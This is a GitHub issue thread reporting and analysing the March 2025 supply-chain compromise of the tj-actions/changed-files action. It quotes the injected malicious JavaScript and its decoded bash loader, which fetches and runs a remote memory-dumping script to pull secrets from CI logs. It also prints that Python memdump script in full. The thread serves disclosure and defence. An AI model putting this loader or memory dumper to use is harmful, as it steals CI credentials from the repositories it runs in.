Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Multiple tags in this action are compromised #2463

Closed
varunsh-coder opened this issue Mar 14, 2025 · 56 comments
Closed

Multiple tags in this action are compromised #2463

varunsh-coder opened this issue Mar 14, 2025 · 56 comments

Comments

@varunsh-coder
Copy link

varunsh-coder commented Mar 14, 2025

Example this tag was just updated 3 hours back and is potentially exfiltrating credentials
https://github.com/tj-actions/changed-files/tags?after=v35.9.3

You can read more here: https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised

Reported the issue via the email address provided in the security.md file and also reported it via private vulnerability disclosure to generate a CVE.

@salolivares
Copy link

salolivares commented Mar 14, 2025

Yep... this looks scary: 0e58ed8

edit: https://semgrep.dev/blog/2025/popular-github-action-tj-actionschanged-files-is-compromised/

@kbsteere
Copy link

@jackton1 for you awareness

@ElijahLynn
Copy link

ElijahLynn commented Mar 14, 2025

It ultimately dumps memory to GHA logs, which can include GHA secrets:

from the malicious commit: 0e58ed8 introduced in:

async function updateFeatures(token) {
   
     const {stdout, stderr} = await exec.getExecOutput('bash', ['-c', `echo "aWYgW1sgIiRPU1RZUEUiID09ICJsaW51eC1nbnUiIF1dOyB0aGVuCiAgQjY0X0JMT0I9YGN1cmwgLXNTZiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL25pa2l0YXN0dXBpbi8zMGU1MjViNzc2YzQwOWUwM2MyZDZmMzI4ZjI1NDk2NS9yYXcvbWVtZHVtcC5weSB8IHN1ZG8gcHl0aG9uMyB8IHRyIC1kICdcMCcgfCBncmVwIC1hb0UgJyJbXiJdKyI6XHsidmFsdWUiOiJbXiJdKiIsImlzU2VjcmV0Ijp0cnVlXH0nIHwgc29ydCAtdSB8IGJhc2U2NCAtdyAwIHwgYmFzZTY0IC13IDBgCiAgZWNobyAkQjY0X0JMT0IKZWxzZQogIGV4aXQgMApmaQo=" | base64 -d > /tmp/run.sh && bash /tmp/run.sh`], {
         ignoreReturnCode: true,
         silent: true
     });
     core.info(stdout);
     
 }

And if we base64 decode it:

echo "aWYgW1sgIiRPU1RZUEUiID09ICJsaW51eC1nbnUiIF1dOyB0aGVuCiAgQjY0X0JMT0I9YGN1cmwgLXNTZiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL25pa2l0YXN0dXBpbi8zMGU1MjViNzc2YzQwOWUwM2MyZDZmMzI4ZjI1NDk2NS9yYXcvbWVtZHVtcC5weSB8IHN1ZG8gcHl0aG9uMyB8IHRyIC1kICdcMCcgfCBncmVwIC1hb0UgJyJbXiJdKyI6XHsidmFsdWUiOiJbXiJdKiIsImlzU2VjcmV0Ijp0cnVlXH0nIHwgc29ydCAtdSB8IGJhc2U2NCAtdyAwIHwgYmFzZTY0IC13IDBgCiAgZWNobyAkQjY0X0JMT0IKZWxzZQogIGV4aXQgMApmaQo=" | base64 -d 

if [[ "$OSTYPE" == "linux-gnu" ]]; then
  B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
  echo $B64_BLOB
else
  exit 0
fi

@aetzieba
Copy link

Is it possible that this fails if bash is not installed?

@Leroy231
Copy link

Is it possible that this fails if bash is not installed?

Yes, I started getting this error on my self-hosted Windows runners:

Error: Unable to locate executable file: bash. Please verify either the file path exists or the file can be found within a directory specified by the PATH environment variable. Also verify the file has a valid extension for an executable file.

Not sure if GitHub hosted Windows runners have bash installed.

@Leroy231
Copy link

@varunsh-coder
Copy link
Author

@varunsh-coder did you already contact the email address in https://github.com/tj-actions/changed-files/security#public-vulnerability-disclosures?

Yes

@aetzieba
Copy link

Is it possible that this fails if bash is not installed?

Yes, I started getting this error on my self-hosted Windows runners:

Error: Unable to locate executable file: bash. Please verify either the file path exists or the file can be found within a directory specified by the PATH environment variable. Also verify the file has a valid extension for an executable file.

Not sure if GitHub hosted Windows runners have bash installed.

I noticed this in a similar scenario.

@AdnaneKhan
Copy link

AdnaneKhan commented Mar 15, 2025

We even see some repositories using the backdoored commit by hash after updates by Renovate: https://github.com/search?q=0e58ed8671d6b60d0890c21b07f8835ace038e67&type=code

@ElijahLynn
Copy link

ElijahLynn commented Mar 15, 2025

We even see some repositories using the backdoored commit by hash after updates by Renovate: github.com/search?q=0e58ed8671d6b60d0890c21b07f8835ace038e67&type=code

I've just confirmed that it is printing double base64 encoded secrets in runner job logs based on your link.

Here is one: https://github.com/szinn/k8s-homelab/actions/runs/13865435819/job/38803427088?pr=5353, double base64 --decode that output and boom, there is a github_token.

@ElijahLynn
Copy link

Every tag got pointed to this malicious commit:

Image

https://github.com/tj-actions/changed-files/tags

@ElijahLynn
Copy link

ElijahLynn commented Mar 15, 2025

I've just emailed [email protected] too with the title: "Urgent: Hundreds/Thousands of github_token secrets leaked" and linked to this issue. Because some action needs to be taken at the GitHub level to fix this and inform everyone.

@gaby
Copy link

gaby commented Mar 15, 2025

@ElijahLynn I submitted a active malware report too

@onedr0p
Copy link

onedr0p commented Mar 15, 2025

Yikes, I've disabled actions on the couple repos I use it on until this gets resolved.

@mceachen
Copy link

mceachen commented Mar 15, 2025

It looks like all of the tags were pushed to that hash:

$ git show 0e58ed8671d6b60d0890c21b07f8835ace038e67
commit 0e58ed8671d6b60d0890c21b07f8835ace038e67 (tag: v9.3, tag: v9.2, tag: v9.1, tag: v9, tag: v8.9, tag: v8.8, tag: v8.7, tag: v8.6, tag: v8.5, tag: v8.4, tag: v8.3, tag: v8.2, tag: v8.1, tag: v8, tag: v7, tag: v6.3, tag: v6.2, tag: v6.1, tag: v6, tag: v5.3, tag: v5.2, tag: v5.1, tag: v5.0.0, tag: v5, tag: v45.0.7, tag: v45.0.6, tag: v45.0.5, tag: v45.0.4, tag: v45.0.3, tag: v45.0.2, tag: v45.0.1, tag: v45.0.0, tag: v45, tag: v44.5.7, tag: v44.5.6, tag: v44.5.5, tag: v44.5.4, tag: v44.5.3, tag: v44.5.2, tag: v44.5.1, tag: v44.5.0, tag: v44.4.0, tag: v44.3.0, tag: v44.2.0, tag: v44.1.0, tag: v44.0.1, tag: v44.0.0, tag: v44, tag: v43.0.1, tag: v43.0.0, tag: v43, tag: v42.1.0, tag: v42.0.7, tag: v42.0.6, tag: v42.0.5, tag: v42.0.4, tag: v42.0.3, tag: v42.0.2, tag: v42.0.1, tag: v42.0.0, tag: v42, tag: v41.1.2, tag: v41.1.1, tag: v41.1.0, tag: v41.0.1, tag: v41.0.0, tag: v41, tag: v40.2.3, tag: v40.2.2, tag: v40.2.1, tag: v40.2.0, tag: v40.1.1, tag: v40.1.0, tag: v40.0.2, tag: v40.0.1, tag: v40.0.0, tag: v40, tag: v4.4, tag: v4.3, tag: v4.2, tag: v4.1, tag: v4.0.7, tag: v4.0.6, tag: v4.0.5, tag: v4.0.4, tag: v4.0.3, tag: v4.0.2, tag: v4.0.1, tag: v4.0.0, tag: v4, tag: v39.2.4, tag: v39.2.3, tag: v39.2.2, tag: v39.2.1, tag: v39.2.0, tag: v39.1.2, tag: v39.1.1, tag: v39.1.0, tag: v39.0.3, tag: v39.0.2, tag: v39.0.1, tag: v39.0.0, tag: v39, tag: v38.2.2, tag: v38.2.1, tag: v38.2.0, tag: v38.1.3, tag: v38.1.2, tag: v38.1.1, tag: v38.1.0, tag: v38.0.0, tag: v38, tag: v37.6.1, tag: v37.6.0, tag: v37.5.2, tag: v37.5.1, tag: v37.5.0, tag: v37.4.0, tag: v37.3.0, tag: v37.2.0, tag: v37.1.2, tag: v37.1.1, tag: v37.1.0, tag: v37.0.5, tag: v37.0.4, tag: v37.0.3, tag: v37.0.2, tag: v37.0.1, tag: v37.0.0, tag: v37, tag: v36.4.1, tag: v36.4.0, tag: v36.3.0, tag: v36.2.1, tag: v36.2.0, tag: v36.1.0, tag: v36.0.9, tag: v36.0.8, tag: v36.0.7, tag: v36.0.6, tag: v36.0.5, tag: v36.0.4, tag: v36.0.3, tag: v36.0.2, tag: v36.0.18, tag: v36.0.17, tag: v36.0.16, tag: v36.0.15, tag: v36.0.14, tag: v36.0.13, tag: v36.0.12, tag: v36.0.11, tag: v36.0.10, tag: v36.0.1, tag: v36.0.0, tag: v36, tag: v35.9.3-sec, tag: v35.9.3, tag: v35.9.2-sec, tag: v35.9.2, tag: v35.9.1-sec, tag: v35.9.1, tag: v35.9.0-sec, tag: v35.9.0, tag: v35.8.0-sec, tag: v35.8.0, tag: v35.7.9-sec, tag: v35.7.9, tag: v35.7.8-sec, tag: v35.7.8, tag: v35.7.7-sec, tag: v35.7.7, tag: v35.7.6-sec, tag: v35.7.6, tag: v35.7.5, tag: v35.7.4, tag: v35.7.3, tag: v35.7.2, tag: v35.7.12-sec, tag: v35.7.12, tag: v35.7.11-sec, tag: v35.7.11, tag: v35.7.10-sec, tag: v35.7.10, tag: v35.7.1-sec, tag: v35.7.1, tag: v35.7.0-sec, tag: v35.7.0, tag: v35.6.4, tag: v35.6.3, tag: v35.6.2, tag: v35.6.1, tag: v35.6.0, tag: v35.5.6, tag: v35.5.5, tag: v35.5.4, tag: v35.5.3, tag: v35.5.2, tag: v35.5.1, tag: v35.5.0, tag: v35.4.4, tag: v35.4.3, tag: v35.4.2, tag: v35.4.1, tag: v35.4.0, tag: v35.3.2, tag: v35.3.1, tag: v35.3.0, tag: v35.2.1, tag: v35.2.0, tag: v35.1.2, tag: v35.1.1, tag: v35.1.0, tag: v35.0.1, tag: v35.0.0, tag: v35-sec, tag: v35, tag: v34.6.2, tag: v34.6.1, tag: v34.6.0, tag: v34.5.4, tag: v34.5.3, tag: v34.5.2, tag: v34.5.1, tag: v34.5.0, tag: v34.4.4, tag: v34.4.3, tag: v34.4.2, tag: v34.4.1, tag: v34.4.0, tag: v34.3.4, tag: v34.3.3, tag: v34.3.2, tag: v34.3.1, tag: v34.3.0, tag: v34.2.2, tag: v34.2.1, tag: v34.2.0, tag: v34.1.1, tag: v34.1.0, tag: v34.0.5, tag: v34.0.4, tag: v34.0.3, tag: v34.0.2, tag: v34.0.1, tag: v34.0.0, tag: v34, tag: v33.0.0, tag: v33, tag: v32.1.2, tag: v32.1.1, tag: v32.1.0, tag: v32.0.1, tag: v32.0.0, tag: v32, tag: v31.0.3, tag: v31.0.2, tag: v31.0.1, tag: v31.0.0, tag: v31, tag: v30.0.0, tag: v30, tag: v3.3, tag: v3.2, tag: v3.1, tag: v3.0.2, tag: v3.0.1, tag: v3.0.0, tag: v3, tag: v29.0.9, tag: v29.0.8, tag: v29.0.7, tag: v29.0.6, tag: v29.0.5, tag: v29.0.4, tag: v29.0.3, tag: v29.0.2, tag: v29.0.1, tag: v29.0.0, tag: v29, tag: v28.0.0, tag: v28, tag: v27, tag: v26.1, tag: v26, tag: v25, tag: v24.1, tag: v24, tag: v23.2, tag: v23.1, tag: v23, tag: v22.2, tag: v22.1, tag: v22, tag: v21, tag: v20.2, tag: v20.1, tag: v20, tag: v2.1, tag: v2.0.1, tag: v2.0.0, tag: v2, tag: v19.3, tag: v19.2, tag: v19.1, tag: v19, tag: v18.7, tag: v18.6, tag: v18.5, tag: v18.4, tag: v18.3, tag: v18.2, tag: v18.1, tag: v18, tag: v17.3, tag: v17.2, tag: v17.1, tag: v17, tag: v16, tag: v15.1, tag: v15, tag: v14.7, tag: v14.6, tag: v14.5, tag: v14.4, tag: v14.3, tag: v14.2, tag: v14.1, tag: v14, tag: v13.2, tag: v13.1, tag: v13, tag: v12.2, tag: v12.1, tag: v12, tag: v11.9, tag: v11.8, tag: v11.7, tag: v11.6, tag: v11.5, tag: v11.4, tag: v11.3, tag: v11.2, tag: v11.1, tag: v11, tag: v10.1, tag: v10, tag: v1.3.1, tag: v1.3.0, tag: v1.2.2, tag: v1.2.1, tag: v1.2.0, tag: v1.1.3, tag: v1.1.2, tag: v1.1.1, tag: v1.1.0, tag: v1.0.3, tag: v1.0.2, tag: v1.0.1, tag: v1.0.0, tag: v1)
Author: renovate[bot]@users.noreply.github.com <renovate[bot]@users.noreply.github.com>
Date:   Fri Mar 14 16:57:45 2025 +0000

    chore(deps): lock file maintenance (#2460)

diff --git a/dist/index.js b/dist/index.js
index 8d73cf8..18c6cfe 100644
Binary files a/dist/index.js and b/dist/index.js differ

Also: doesn't this indicate that someone is using renovate bot's credentials?

Edit: nope, no ssh or gpg credentials were used to sign that commit.

Moral of the story:

  1. Don't blindly accept PRs from renovate or dependabot (or anyone).
  2. Automerging non-signed commits lets literally anyone on the planet make commits to HEAD.

GitHub: if/when you review this issue--please consider not using a known avatar for unsigned commits. It certainly lends credibility to the PR when none has been earned.

@gaby
Copy link

gaby commented Mar 15, 2025

Makes me wonder if renovate is the one compromised?

@themaxdavitt
Copy link

themaxdavitt commented Mar 15, 2025

I wouldn't jump to that assumption; I thought you could set your Git author name and email to anything you want, e.g.:

git -c user.name='renovate[bot]@users.noreply.github.com' -c user.email='renovate[bot]@users.noreply.github.com' commit -m "chore(deps): lock file maintenance (#2460)"

Haven't people done this to fake famous developers making commits in their repos?

@tdorianh
Copy link

@mceachen Re: renovate credentials: likely not. This commit was unsigned, while every other commit by Renovate in this repo is. Looks like a fake.

@themaxdavitt
Copy link

themaxdavitt commented Mar 15, 2025

I think it's unlikely renovate[bot] was involved at all in committing this attack. Despite 0e58ed8's commit message, it was not actually introduced in #2460. The attacker probably just made their new commit look exactly like the last commit on main (9200e69) , which was actually by renovate[bot] (check its signature), to not look suspicious.

However, unfortunately the real renovate[bot] is continuing to do what it does best, which is updating people's repos to the latest versions of dependencies... which is why this needs to get resolved ASAP.

@sarentz-tc
Copy link

sarentz-tc commented Mar 15, 2025

Is it possible that the memory dumper from https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py does not work in Docker containers?

When I run it in python:3-bookworm I get the following error:

root@2d9100eaf59e:/tmp# python /tmp/memdump.py
Traceback (most recent call last):
  File "/tmp/memdump.py", line 23, in <module>
    pid = get_pid()
  File "/tmp/memdump.py", line 19, in get_pid
    raise Exception('Can not get pid of Runner.Worker')
Exception: Can not get pid of Runner.Worker

@jameswald
Copy link

jameswald commented Mar 15, 2025

@sarentz-tc It didn't output anything on our self-hosted runners. No error or secrets displayed.

@sarentz-tc
Copy link

@sarentz-tc It didn't output anything on our self-hosted runners. No error or secrets displayed.

Same. Ours are all in Docker. No VMs. I'm trying to see if that makes a difference. The error that I posted may be because the image I ran was not actually a runner image.

@gurchik
Copy link

gurchik commented Mar 15, 2025

The offending commit 0e58ed8 was never pushed to this repository, as you can see by clicking the link, the commit belongs to a fork of the repository. If the attacker had some way of updating the tags and releases of this repository, then they could have accomplished this attack by:

  1. Fork the repository
  2. Push compromised code to the fork
  3. Update the tags in the parent repository to point to the SHA of the fork

As the compromised commit was never pushed to the parent repository, it would not show in the Git logs.

Only the owner of this organization has the audit logs necessary to figure out how step 3 was accomplished. I hope a full investigation is done

@sarentz-tc
Copy link

@sarentz-tc It didn't output anything on our self-hosted runners. No error or secrets displayed.

Same. Ours are all in Docker. No VMs. I'm trying to see if that makes a difference. The error that I posted may be because the image I ran was not actually a runner image.

Confirming that the memdump.py script works inside Docker based GitHub runners.

@mkrakowitzer
Copy link

Are you aware of anywhere else this PAT was stored? It seems unlikely the attacker compromised GitHub secrets.

Was it also stored in a personal password manager? Plain text file on a server or laptop? The shell history of a laptop or server? Encrypted file on a server or laptop?

@mceachen
Copy link

Can someone post the source of the gist that was linked.

#!/usr/bin/env python3

# based on https://davidebove.com/blog/?p=1620

import sys
import os
import re


def get_pid():
    # https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python
    pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]

    for pid in pids:
        with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
            if b'Runner.Worker' in cmdline_f.read():
                return pid

    raise Exception('Can not get pid of Runner.Worker')


if __name__ == "__main__":
    pid = get_pid()
    print(pid)

    map_path = f"/proc/{pid}/maps"
    mem_path = f"/proc/{pid}/mem"

    with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
        for line in map_f.readlines():  # for each mapped region
            m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
            if m.group(3) == 'r':  # readable region
                start = int(m.group(1), 16)
                end = int(m.group(2), 16)
                # hotfix: OverflowError: Python int too large to convert to C long
                # 18446744073699065856
                if start > sys.maxsize:
                    continue
                mem_f.seek(start)  # seek to region start
            
                try:
                    chunk = mem_f.read(end - start)  # read region contents
                    sys.stdout.buffer.write(chunk)
                except OSError:
                    continue

@maschwenk
Copy link

@mceachen hmm curious why they didn't just pipe that into a web service. could have exfiltrated public and private secrets that way. strange.

@alper
Copy link

alper commented Mar 16, 2025

I think many of the write-ups on this are not clear about what it was doing and the impact. If you have private repos, this is not really that big of a deal as is.

Why they didn't exfiltrate is a mystery. Perhaps they didn't have the infrastructure setup to catch all the requests.

@Lickitysplitted
Copy link

I think many of the write-ups on this are not clear about what it was doing and the impact. If you have private repos, this is not really that big of a deal as is.

Why they didn't exfiltrate is a mystery. Perhaps they didn't have the infrastructure setup to catch all the requests.

given that the python script is from a gist of nikitastupin and looking at their repos they seem to have done some security research around compromising github actions this could either have been an attempt to raise awareness with a stunt hack or this may be a supply chain attack where the malicious actor has access to the actual target's logs. just my 2 cents.

@brandond
Copy link

It could have just been a skiddie who happened across creds but lacked the knowledge to do anything more complex. The python script isn't doing anything that couldn't have been done within the code of the action itself, even with obfuscation.

If they'd skipped downloading a script to do the exfiltration they probably could have avoided detection for much longer.

roman-khimov added a commit to nspcc-dev/dbft that referenced this issue Mar 16, 2025
It was recently compromised and even though changes to tags were reverted it's
still worth upgrading (GH also warns about <=45.0.7).

See tj-actions/changed-files#2463

Signed-off-by: Roman Khimov <[email protected]>
roman-khimov added a commit to nspcc-dev/neofs-node that referenced this issue Mar 16, 2025
It was recently compromised and even though changes to tags were reverted it's
still worth upgrading (GH also warns about <=45.0.7).

I've checked this repository, we've not leaked anything since March 14 (the day
of the attack).

See tj-actions/changed-files#2463 also.

Signed-off-by: Roman Khimov <[email protected]>
@AdnaneKhan
Copy link

AdnaneKhan commented Mar 16, 2025

It could have just been a skiddie who happened across creds but lacked the knowledge to do anything more complex. The python script isn't doing anything that couldn't have been done within the code of the action itself, even with obfuscation.

If they'd skipped downloading a script to do the exfiltration they probably could have avoided detection for much longer.

They probably lifted a lot of it from my blog post where I theorized about this scenario over year ago:

https://adnanthekhan.com/2024/01/10/cve-2023-49291-and-more-a-potential-actions-nightmare/

That initial bash payload + python script is a cookie cutter, off the shelf memdump payload. It’s no different from Googling “bash reverse shell” and running it.

@tj-actions tj-actions locked as resolved and limited conversation to collaborators Mar 17, 2025
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

No branches or pull requests